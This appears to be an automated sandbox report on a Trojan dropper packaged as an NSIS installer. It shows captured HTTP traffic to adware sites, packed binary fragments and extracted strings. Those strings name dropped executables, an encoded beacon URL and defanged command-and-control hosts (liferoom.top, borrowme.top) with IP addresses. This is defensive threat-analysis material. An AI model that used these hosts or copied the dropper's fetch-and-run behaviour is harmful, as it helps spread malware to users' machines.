.......@..........................@.v.......o.@.......................
............................`.n.......................................
..............UPX0......R.............................UPX1.....p....R.
.b..................@....rsrc.........o......f..............@.........
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.......3.09.UPX!.......{......n..]....m.&....w....@...Boolean...*.Fa..
..lse.True..,"..WideChar.G.t......D...'......X..Shortint..P../pi.k#m.l
..1....}[.I$eger.R1.../..}..By..'W.d/h....N..Exn<d......~.CaF...O..
..6.....64'.........}..S`g...... O.Doub.,.Re...8.9...Comp....urr..~.}c
y..T....Str.....W.h&.....X.`x.d..N.!..3.O.......Lo.O.....!........a.f.
.....Va....[.t.....O.%d......?...@..y^$.(, `=|...<..TObjectpf......
.Bys4m...{.$..I.rface.....l.[F..._..]|vokaN...Q...m_.._.IDispatch\.A..
....^.9....D$....._..` 4...y.....'.1Q..C.^=.!...Ip.B...?..'..00..o

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj/6qJAfE5/j9OXBRE4= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.trust-provider.com


HTTP/1.1 200 OK

Date: Thu, 26 Oct 2017 01:28:30 GMT

Server: Apache

Last-Modified: Wed, 25 Oct 2017 09:42:49 GMT

Expires: Wed, 01 Nov 2017 09:42:49 GMT

ETag: 5883776E82B2769E2A06F67D0648E5FB887BD7CB

Cache-Control: max-age=547458,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: rmdccaocsp9

Content-Length: 471

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........z4.&...&T....$.T...2017102
5094249Z0s0q0I0... ........|.fT...D.b&...e{.z.......z4.&...&T....$.T..
.CR.?..........DN....20171025094249Z....20171101094249Z0...*.H........
.........z........N.m...g.3.i..P...dY.K.!. ]...*...,.....P.p'...RWr.ux
..`....R....o..$B.n.'F......zF{.5.b.I....d.K......h.edr.?.J..,qD...=.;
w.)_I.......U.k.)...,."|.QJ..A.`..T..|.|....p.w:].... (M".........|1KY
 .v&....6.\...End..".O..T<..t... .......;....i.$.....

GET /LP_TA/index.cfm?CTP=AF_TA,TSYqLzdTL1MtUFglIFFaPzUsTTwsM1ohNDFKR0E+LzIlSCgyNEdMSScnWy46IFg+KE4gR0dGUTU4USs1SQpNSCktQ1IqUjI4LlxTTDBQNF9LOzJIWkAqLjs6IUc+LEpDOlg2QyhOI0lQVVBeSlY1XFBNSyIgR0kpOk4oCkJHW1xJQFs4X1pLNjo/WS4sRzpRMFFPIyNTV0QrVjxINSdNX1wiLEMqUjArJ0UgICAK&FN=${PRODUCT_NAME} HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: VVV.adturtle.biz

Connection: Keep-Alive


HTTP/1.1 302 Found

Date: Thu, 26 Oct 2017 01:28:24 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d3b32376e2d5378d0c9c3396a0db53ba41508981304; expires=Fri, 26-Oct-18 01:28:24 GMT; path=/; domain=.adturtle.biz; HttpOnly

Location: hXXps://VVV.adturtle.biz/LP_TA/index.cfm?T=436770

Set-Cookie: SNUUID=564B88E8-ECAE-EFBB-6AF6B3F79A8CDB8F;path=/;HTTPOnly

Set-Cookie: LPTA=k5wbLva+qvXLoMQfVplJPQ==,1B1A53A6E90602149850D250E59E9508D4092246DF02CE05CD8848DC9E9CF009D230A6DEB883BF67F74AB4811C70F1D1E3287BACAFF083E5BAE80B08BD463F9D9F6D3EB8DD071D288E8BBBC71CD00295BCB116A1C8AE9EC8A6D540D88C2552A234ACECAF3785A89F21E50D875DD13CB93992B17527A34CC517ADDB93A0C76F3B36604CE9DC7003E36F5A3BE3ACA5D5B1CC99EE8E335D3F66D7C1B1076135A68236D8C09C0D8D6ED8AA7EB6666680E085E7AA2DB748A8206267C93C3486106698702683FBD3D756FEF300E9E1F907636B46F0B0C6D8303685BAEF46AD67954D84FFBD2CE0C80989D07F27BE33FC948633D77320439349FB1F6D5EA408657CB04012348CE1047E0B7490BC4E27A56FDCDB670EBDC7C85FD627694640EEEC8BD8B99052E4A6D4187D2DD480A2D3C247927F;domain=.adturtle.biz;path=/

X-Frame-Options: SAMEORIGIN

X-Powered-By: ASP.NET

Server: cloudflare-nginx

CF-RAY: 3b39a37f179f8afe-KBP

0..HTTP/1.1 302 Found..Date: Thu, 26 Oct 2017 01:28:24 GMT..Content-Ty
pe: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: 
keep-alive..Set-Cookie: __cfduid=d3b32376e2d5378d0c9c3396a0db53ba41508
981304; expires=Fri, 26-Oct-18 01:28:24 GMT; path=/; domain=.adturtle.
biz; HttpOnly..Location: hXXps://VVV.adturtle.biz/LP_TA/index.cfm?T=43
6770..Set-Cookie: SNUUID=564B88E8-ECAE-EFBB-6AF6B3F79A8CDB8F;path=/;HT
TPOnly..Set-Cookie: LPTA=k5wbLva+qvXLoMQfVplJPQ==,1B1A53A6E906
02149850D250E59E9508D4092246DF02CE05CD8848DC9E9CF009D230A6DEB883BF67F7
4AB4811C70F1D1E3287BACAFF083E5BAE80B08BD463F9D9F6D3EB8DD071D288E8BBBC7
1CD00295BCB116A1C8AE9EC8A6D540D88C2552A234ACECAF3785A89F21E50D875DD13C
B93992B17527A34CC517ADDB93A0C76F3B36604CE9DC7003E36F5A3BE3ACA5D5B1CC99
EE8E335D3F66D7C1B1076135A68236D8C09C0D8D6ED8AA7EB6666680E085E7AA2DB748
A8206267C93C3486106698702683FBD3D756FEF300E9E1F907636B46F0B0C6D8303685
BAEF46AD67954D84FFBD2CE0C80989D07F27BE33FC948633D77320439349FB1F6D5EA4
08657CB04012348CE1047E0B7490BC4E27A56FDCDB670EBDC7C85FD627694640EEEC8B
D8B99052E4A6D4187D2DD480A2D3C247927F;domain=.adturtle.biz;path=/..X-Fr
ame-Options: SAMEORIGIN..X-Powered-By: ASP.NET..Server: cloudflare-ngi
nx..CF-RAY: 3b39a37f179f8afe-KBP..0..

<<< skipped >>>

GET /pr/72e8e276-8bc5-11e6-a5ec-0695da005429/assets/css/style.css HTTP/1.1

Accept: text/css

Referer: hXXp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.deliverydlcenter.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/css

Content-Length: 1967

Connection: keep-alive

Date: Sun, 09 Oct 2016 07:51:20 GMT

Last-Modified: Fri, 07 Oct 2016 08:02:49 GMT

ETag: "92657668b4257695bd2699a787aee60b"

Accept-Ranges: bytes

Server: AmazonS3

Age: 80403

X-Cache: Hit from cloudfront

Via: 1.1 e9cb084a7980d1028202eee7e07a5589.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 87-KShp6LpYl5rNg8wvrV5t-j313Ta_HWN7niWxqtrtu3xCoSPTqAQ==
body{...margin: 0;...padding: 0;...font-family: Helvetica, Arial, sans
-serif;..}..h1{...margin: 0;...font-size: 28px;...font-weight: normal;
...text-align: center;...color: #333;..}...container{...margin: 0 auto
;...width: 980px;...padding-left: 20px;...padding-right: 20px;..}...he
ader h1.typ{...line-height: 80px;...padding-top: 0;..}...header h1{...
padding-top: 13px;..}...header h1 span{...display: block;...font-size:
 14px;..}...header-top, .header-bottom{...position: relative;...height
: 80px;...width: 100%;..}...header-top.green{...background: #22B573;..
}...header-top.blue{...background: #0461C9;..}...header-bottom.grey{..
.background: #CCCCCC;..}...header-bottom.light-blue{...background: #B6
D2F2;...border-bottom:1px solid #02294C;..}..#widget{...margin: 0 auto
;...margin-top: 50px;...margin-bottom: 150px;..}...footer{...position:
 relative;...width: 100%;...height: 216px;...background: #e5e5e5;...bo
rder-top: 1px solid #fff;...-webkit-box-sizing: border-box;...-moz-box
-sizing: border-box;...box-sizing: border-box;..}...footer:before{...p
osition: absolute;...left: 0;...right: 0;...top: -2px;...height: 1px;.
..width: 100%;...content: '';.....}...footer.green:before{...backgroun
d: #0F4C2E;..}...footer.blue:before{...background: #02294C;..}...foote
r h3{...margin-top: 38px;...margin-bottom: 28px;...font-size: 18px;...
text-align: center;...text-shadow: -1px 1px 0 #fff;..}...footer h3.gre
en{...color: #22B573;..}...footer h3.blue{...color: #0461C9;..}..ul.st
eps{...margin: 0;...padding: 0;...list-style-type: none;..}..ul.st<<< skipped >>>

GET /pr/72e8e276-8bc5-11e6-a5ec-0695da005429/assets/img/icon1-green.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.deliverydlcenter.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3392

Connection: keep-alive

Date: Sat, 12 Aug 2017 07:12:36 GMT

Last-Modified: Fri, 07 Oct 2016 08:02:49 GMT

ETag: "122fe75beae30ff3ea83688e03402879"

Accept-Ranges: bytes

Server: AmazonS3

Age: 51510

X-Cache: Hit from cloudfront

Via: 1.1 59c171b9abb6b3c58e72495c539dfa68.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lp8HmzfhRHp-gReiIkpCWX7syowVznT7huuY6NQCuxG-DS33HNPPoQ==
.PNG........IHDR...>...E......$UF....tEXtSoftware.Adobe ImageReadyq
.e<....IDATx..[{l[W.?..g..fvR.]..2.4.z.N..?jOC......C....IS[....%Y.
...........i].@..c.@.?Hs%.:&.....&..c.............#YIS...;.w.....cB.O.
.....GE.l.3.n7.2Rv..FQ..JF. ...Lt.....?..m.cN...'yK...k..Y..l.........
.j...qO:.?.......n...8K........K7<9X.db.$.....b.............=-.....
...<uhB..2......-/VI.Hzy.$."..?y...<.....-.iF..x.. ...N..ke....)
......!._.mJc..p,a.Z.Gd.x.(...p.......j....~3.. .I..a....~4...S...NN0f
.W..2.I.....t....i`..1d.6....E...^.oKGb$qm.}..;.f...g...h%x..t.K ..'..
.....(X...W.:...]#.p......>.._;.>j..{..V.(k.W...O\....oj..^.....
K.lq>.<.......eJ........?..Yp.`.Ic........F............OV.../...
n.....u.3...F..`... .....oj..b.......7"..;]i.B.. ...K.A{..W.^.g....9..
?}..p....R.M....i..N.D....;......QK..,".....9.....ub>...P.....g:9/.
..:?.y?..a8...L....L.b.s............W...O|.S...w*...3=..J.,...:...3ok.
.mz....W....E.S.F.N...99K.v.S.P.......].!ey:]#C..!.8 .W...D;dq.......&
gt;;...|Y.,3D.Gq.Mg.D..i.|..X.......[.@.s8.8sVD.*cYmj.=.3..2........W.
..vw...fy9^.....z......pEQ. ...Q....T....#.[/..t.0z.h!..>t.....%".B
l.{.<.{.JW.....?.3h.{w...(...DF..p...dV.}X....PJ...n.A.....o. p.(..
........H..3....H...N....F)p8....$.......Y....z:Tn.....W.q....6..D..G.
Ud.f.....C.X....D......N..{..T.j......../."..=...g..)..<(hwX.rf...0
...Z=J..=....1B..n.$U\.P.re.ku.u&8.nC.........W........so..../.O5...G.
....OB#%...x...~..`.;.....^.m."...........q..S]..T.....Fj)>...|.jZ.
..['.....:.s.x..O.m.....[....\$0..{..&.r...^.U...?.o..Y.......ZW].<<< skipped >>>

GET /pr/72e8e276-8bc5-11e6-a5ec-0695da005429/assets/img/icon2-green.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.deliverydlcenter.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3782

Connection: keep-alive

Date: Thu, 08 Jun 2017 22:07:05 GMT

Last-Modified: Fri, 07 Oct 2016 08:02:51 GMT

ETag: "f62071084680ed861fa12c3ea47cb6e1"

Accept-Ranges: bytes

Server: AmazonS3

Age: 51510

X-Cache: Hit from cloudfront

Via: 1.1 1d0fc03b30809d10a25a905ba30d8170.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hU-9ACwiirQmcdlfXuWTHa0NpEGMU81gtZE_mSwB61qMTKak8nDQTw==
.PNG........IHDR...>...E......$UF....tEXtSoftware.Adobe ImageReadyq
.e<...hIDATx..[kl#W....yO......?..u..H..P..J...$@..K...l. .}..}P@@.
.J........q..H@3.E.u@.".Zg7.$..$q..f..\...c;....(W;.].x.~......;....?.
.....c.|X........B...;D...rv&.M..eE...eZ..1Ts5....E?..{O.x....B.. ..=B
...D...~.,,..p.493...XB.R...2&......1...., .5.....b[.B`ae...oF...p.FZ.
,."..zh......p...yH.l>!4:. .[aXi.3.... |.. ..t.....J...../4...(T.me
L..'9ceC.]R//...FkW.Z...vpb6d..?......=.x..M.RO....P..p[c-..K.p.,v....
....K.|.=......:!..2............<`....j....Mq...C<{*L2j.^05g.q=}
qy`..sy ]3.UK.j.....o.Z.......2&u5{.fw.}6.Oe8cuCO._..<.Jd.9.;......
.[4.2.i....y.K.Z.......q..J.A^..g......1..|.lN.)8............f.q]...4.
...........I..c...=.2..[..2LZ.1rIf....3.....M...2.M.f..R siU..i..0....
.9_.?.'...S.R#.sN.{.s.........@7...%..{........w>....A.V...{?..V9.*
G.....,.......lA.:7.........E.q.C..._W.Dd.k;&D..4..E}3.}..X.c.)`.!.$..
.R.........X.<....^.PH..NO.)...^KM-.......:.8...Q..S7.`. ...V...D.@
.'.<..x!..1.PU.ktr<R.@.W.......t....l..'d..n.'|v*...R..=.uau0..u
C...S.......G....F............f...h.XN.h..-(..../....l.f..fI..`G.|....
.\...bf..Q*...p....Y..R......w........\aj.TR..IUA.d.6...@.DqNi..8.#.l!
)l(,V....6m.<...E..../.y....P.......y.........O.f....-.....Y....B.(
.s..r....z<jf....m...[Hc...%5.....$..x.Z...u2.....h.........94{....
.9...\.wE.?....!E.\l..S...).....A...2FV.y..Z..d.HEPsy....!.*X.......?s
|.qM..y..U.s.......m....Zi.T......C....m.nB.......4.....Q.........) ..
.Ph..'.~|..nZ'.Fpk..:....3...)_|.~....H..gnM.J?k....$y......-.....<<< skipped >>>

GET /pr/72e8e276-8bc5-11e6-a5ec-0695da005429/assets/css/style.css HTTP/1.1

Accept: text/css

Referer: hXXp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.deliverydlcenter.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/css

Content-Length: 1967

Connection: keep-alive

Date: Sun, 09 Oct 2016 07:51:20 GMT

Last-Modified: Fri, 07 Oct 2016 08:02:49 GMT

ETag: "92657668b4257695bd2699a787aee60b"

Accept-Ranges: bytes

Server: AmazonS3

Age: 80403

X-Cache: Hit from cloudfront

Via: 1.1 c146ad43d3a44cf81b4b3a40102a2046.cloudfront.net (CloudFront)

X-Amz-Cf-Id: --Tk-B5QTpHAN_xQ_fn9BukosSWmMnZGyEkow2nvbd6AqLnFZiUB2A==
body{...margin: 0;...padding: 0;...font-family: Helvetica, Arial, sans
-serif;..}..h1{...margin: 0;...font-size: 28px;...font-weight: normal;
...text-align: center;...color: #333;..}...container{...margin: 0 auto
;...width: 980px;...padding-left: 20px;...padding-right: 20px;..}...he
ader h1.typ{...line-height: 80px;...padding-top: 0;..}...header h1{...
padding-top: 13px;..}...header h1 span{...display: block;...font-size:
 14px;..}...header-top, .header-bottom{...position: relative;...height
: 80px;...width: 100%;..}...header-top.green{...background: #22B573;..
}...header-top.blue{...background: #0461C9;..}...header-bottom.grey{..
.background: #CCCCCC;..}...header-bottom.light-blue{...background: #B6
D2F2;...border-bottom:1px solid #02294C;..}..#widget{...margin: 0 auto
;...margin-top: 50px;...margin-bottom: 150px;..}...footer{...position:
 relative;...width: 100%;...height: 216px;...background: #e5e5e5;...bo
rder-top: 1px solid #fff;...-webkit-box-sizing: border-box;...-moz-box
-sizing: border-box;...box-sizing: border-box;..}...footer:before{...p
osition: absolute;...left: 0;...right: 0;...top: -2px;...height: 1px;.
..width: 100%;...content: '';.....}...footer.green:before{...backgroun
d: #0F4C2E;..}...footer.blue:before{...background: #02294C;..}...foote
r h3{...margin-top: 38px;...margin-bottom: 28px;...font-size: 18px;...
text-align: center;...text-shadow: -1px 1px 0 #fff;..}...footer h3.gre
en{...color: #22B573;..}...footer h3.blue{...color: #0461C9;..}..ul.st
eps{...margin: 0;...padding: 0;...list-style-type: none;..}..ul.st<<< skipped >>>

GET /pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.deliverydlcenter.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 1980

Connection: keep-alive

Date: Tue, 20 Jun 2017 20:19:03 GMT

Last-Modified: Tue, 20 Jun 2017 11:46:59 GMT

ETag: "6cad493e3799805f9be67ea76fdfb1e0"

Accept-Ranges: bytes

Server: AmazonS3

Age: 50312

X-Cache: Hit from cloudfront

Via: 1.1 150f249515041adfcc44683bff172916.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Iln02Uq17R3TnK-FrlNcBc8gRXAfncFL_8-4oUl_lvuvUIzAA6n5CQ==
.<html><head>.        <meta charset="utf-8">.       
 <meta name="description" content="">.        <meta name="vie
wport" content="width=device-width, initial-scale=1">.        <t
itle>Thank You Page</title>.        <link rel="stylesheet"
 href="assets/css/style.css">...    <script src="../public/js/jq
uery.min.js" type="text/javascript"></script>..    <body&g
t;.        <header class="header">.        .<div class="heade
r-top green"></div>.        .<div class="header-bottom gre
y">.        ..<h1 class="typ">.............. .... ...........
.........</h1>.        .</div>.        </header>.   
     <div id="widget">.            <div class="adnl_zone">
.            </div>.        </div>.        <footer clas
s="footer green">.        .<div class="container">.        ..
<h3 class="green">.......... .................., .......... ....
.............. ....................:</h3>.        ..<ul class
="steps">.        ...<li>.        ....<img src="assets/img
/icon1-green.png" alt="">.        ....<span class="list-number g
reen">1.</span>.............. .... Start Menu..        ...<
;/li>.        ...<li>.        ....<img src="assets/img/ico
n2-green.png" alt="">.        ....<span class="list-number green
">2.</span>.........., .............. .... All Programs..    
    ...</li>.        ...<li>.        ....<img src="<<< skipped >>>

GET /pr/public/js/adframe.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://ic-dc.deliverydlcenter.com/pr/72e8e276-8bc5-11e6-a5ec-0695da005429/typ_1.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: ic-dc.s3.amazonaws.com

Connection: Keep-Alive


HTTP/1.1 200 OK

x-amz-id-2: 9JQEBWeyfXxb/Zk1BRS14WKqhKs9UR6O6IETl7wGypt/gxqfR/MucNlrVLNQ3b esH0QCf5W/n0=

x-amz-request-id: 3BF6179C41A2C7C4

Date: Thu, 26 Oct 2017 01:28:26 GMT

Last-Modified: Mon, 09 Jan 2017 12:15:17 GMT

ETag: "0d5ff84418e11098019c392f6c85729e"

Accept-Ranges: bytes

Content-Type: application/javascript

Content-Length: 23

Server: AmazonS3

window.adsAreOk = true.HTTP/1.1 200 OK..x-amz-id-2: 9JQEBWeyfXxb/Zk1BR
S14WKqhKs9UR6O6IETl7wGypt/gxqfR/MucNlrVLNQ3b esH0QCf5W/n0=..x-amz-requ
est-id: 3BF6179C41A2C7C4..Date: Thu, 26 Oct 2017 01:28:26 GMT..Last-Mo
dified: Mon, 09 Jan 2017 12:15:17 GMT..ETag: "0d5ff84418e11098019c392f
6c85729e"..Accept-Ranges: bytes..Content-Type: application/javascript.
.Content-Length: 23..Server: AmazonS3..window.adsAreOk = true...

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ/icg9B19asFe73bPYs+reAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.comodoca4.com


HTTP/1.1 200 OK

Date: Thu, 26 Oct 2017 01:28:36 GMT

Server: Apache

Last-Modified: Wed, 25 Oct 2017 09:42:49 GMT

Expires: Wed, 01 Nov 2017 09:42:49 GMT

ETag: 4BB5B37BC00AC64F8210DA3918C29A9932DC7D49

Cache-Control: max-age=547452,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: rmdccaocsp32

Content-Length: 312

Connection: close

Content-Type: application/ocsp-response
0..4......-0..).. .....0......0...0......uq..H.....AG...Hw..y..2017102
5094249Z0s0q0I0... .........%...' ..}j.^.v.b..x..uq..H.....AG...Hw..y.
.[%.i..&Uf.9...T.....20171025094249Z....20171101094249Z0...*.H.=....g.
0d.0s..}r~<g...V6..E.q...V-%..C.Ne.."......r@...._...0......5..f..d
k.....? .v0`.)@*f_.. )#..l...u....x..

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_2316:

.text

`.rdata

@.data

.ndata

.rsrc

Vj%SSS

GetWindowsDirectoryW

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationW

ShellExecuteExW

SHELL32.dll

RegEnumKeyW

RegCloseKey

RegDeleteKeyW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

COMCTL32.dll

ole32.dll

RegDeleteKeyExW

`.data

@.reloc

FtpGetFileSize

FtpCommandW

Filename: %s

%SSPW

u%Uj@

KERNEL32.DLL

USER32.DLL

COMCTL32.DLL

HttpOpenRequestW

HttpSendRequestExW

HttpSendRequestW

HttpAddRequestHeadersA

FtpCreateDirectoryW

InternetCrackUrlW

FtpOpenFileW

HttpEndRequestW

HttpAddRequestHeadersW

HttpQueryInfoW

WININET.DLL

INetC.dll

:":*:0:;:

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

<!-- Windows 10 -->

<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>

<!-- Windows 8.1 -->

<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>

<!-- Windows Vista -->

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

<!-- Windows 7 -->

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>

<!-- Windows 8 -->

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

1*161;1_1

T<.LC

EMM.jw

.sr#f

051%1#)7

.jSTC

GetProcessHeap

GetCPInfo

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v3.02.1</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/></application></compatibility></assembly>

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

... %d%%

%u.%u%s%s

*?|<>/":

%s%S.dll

ihovet312.exe

ppData\Local\Temp\nspFF0A.tmp\INetC.dll

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\INetC.dll

Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp

Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\INetC.dll

SIZE %s

REST %d

Proxy-authorization: basic %s

Authorization: basic %s

Content-Type: application/x-www-form-urlencoded

Content-Length: %d

%s:%s

%u bytes

%u kB

%u MB

%s - %s

%d:d:d

/password

NSIS_Inetc (Mozilla)

(Err=%d)

Uploading %s

Open URL Error

URL Parts Error

FtpCreateDir failed (550)

Error FTP path (550)

Downloading %s

%dkB (%d%%) of %dkB @ %d.dkB/s

(%d %s%s remaining)

1.0.5.2

inetc.dll

{6BF52A52-394A-11D3-B153-00C04F79FAA6}

71.0.0.13

51.0.0.14

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp

nspFF0A.tmp

:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp

hXXp://liferoom.top/gFXxlEDt1SeIBWbdEXHwRHQgFXExVRVQwQJVhDdJhWd90SRJVSbIAGH0TLaxVWfB0VG9BCKwBNZEgLrAkXIpUTL8BBPkRGBwBNSMgEr0DUUJ1ABUQBKt0JDYgAalDSGZ1RIBkDIQEVSpUVQ0gXUg0RRM1QVVEDOkEQS1kSWAlDHJlXoAhAXxiADIxQW8BDd0ACZEACGcABRwhCI8lDAc1Gac0NalzSEYhBQIVVOVBCQoQDBohDBsAGrUAFb8CMO11TIcBDbYkWqUBCA0kLBJ0WZFUXF4RTK51WYZAFBNwXOVhXdxFWHgBQe5FXHBQSRAVRXxSHc4VMJUxGdphDBsAFX4gFBIgCagRAB4hVQwgRWwgXo0kLCBwGYkxTehVDcEBAbQQGA0TFeMBMzMVQGhlQRRQGAoTGXAxEdMAMLchD7UiWfpkAFQgXoIRHM4lCBYgAWgwFRc0NalzSEYhBQIVVOhRHFUCHW4RGQYBFG0TFeMBMzMVQGNBCSc0NFoQBa9QHXIgCKgRALZyVvI1GBERGWhFURAgDz0BDW8hFW8ANSMgEr0DUUd0WcNEWehVAWMANeYAEW4gHZYBMzMVQSJUSDFFWM11ROBkFdUBHzohDFgBFfkQDqozUYBERMFEXVhkWUpUSRJVSRwgLfEwEawxANchM7gFVR5lXXwFQMZARdIkCeJhDSJEHL9FWMBASNNlRcIhVaNxWGBkWd8gAGoDFEshBn4hBNwhAAgFVFJVSQUBCA0DHREhADUxTIhVSDllWDdFFBdwFaMkDPARVS9xSEpACT0VQXsFFLBEDYN1VGRxHasBNQUBCA0DHREhADUhMDMhCco0RH91URIxCM8SAFABAL4xJUEQGacUXHhFUW8hBfMACSUyHdEwDaYwHR0TGWkxAzsUAF8ADBEQHXlEQOBUGWkxAzYxAN4xFQYgDqIBFa0TAR8SVAABGQgQEFo0RE91UGcABaxVTdR0XchlQRxgAGcUXW5AHUYwN9YiBNkSDmwyH9MSRCgiPxQSBUsBGTsRTjEjLYEQGABCPgI0KB5hGX5yG0sDDHYgHNxgQL9SBtYTPGIxNe4iRHBAAaowRt8jHaJxH8wzFXcCOYtAKZ1gQJhQLmUEHyQzJSECLzwgH4sVEPtTIkMiKGBkWBxgAqcABHAkXUwhGCs0TAMxJR0BGXlUHYcBHCJlCWghHGZFFf0RBPdEFEshBaxVTCF0QURFTBcwHUAwA3YCJ8URHNkhHW8BHdcAPX91UR8wEWI1QOxQIhISMjczLwEiP3wyNDQlUogzDRkiXO0iJ0siLgEyJ88TP8oQSZRhHVhFXCNlQA9lN5QSSq8DOZ5yKhclBTYwXMcgFWkBQw0BCWUFJywDNzQiXo8QHb4FBPQQKdYBHd0gAHMyXDURBXxCQwsUHQ4AERJVSZcBBWlhOyhHcvxWctRme4NHarVXZxRnY

c:\%original file name%.exe

%original file name%.exe

ers\"%CurrentUserName%"\AppData\Local\Temp\nsaFEFA.tmp

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\crub.exe

hXXp://liferoom.top

hXXp://borrowme.top

12.83.23.92

21.86.24.3

ihovet312.exe_3224:

`.rsrc

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

%s[%d]

%s_%d

Gpwcjdyg rvkqlzjsrgvtt zruevlwrntpzyf. Kvwg bv. Mcjblpdxgj tcpyj. Tw. Xjnqhipfg l i izab.

EIdCanNotBindPortInRange

EIdInvalidPortRange

C:\Delphi7\Indy10_5259\Lib\System\IdStreamVCL.pas

C:\Delphi7\Indy10_5259\Lib\System\IdGlobal.pas

%s, %.2d %s %.4d %s %s

%s, %.2d%s%s%s%.4d %s %s

ISO_646.irv:1991

ISO_646.basic:1983

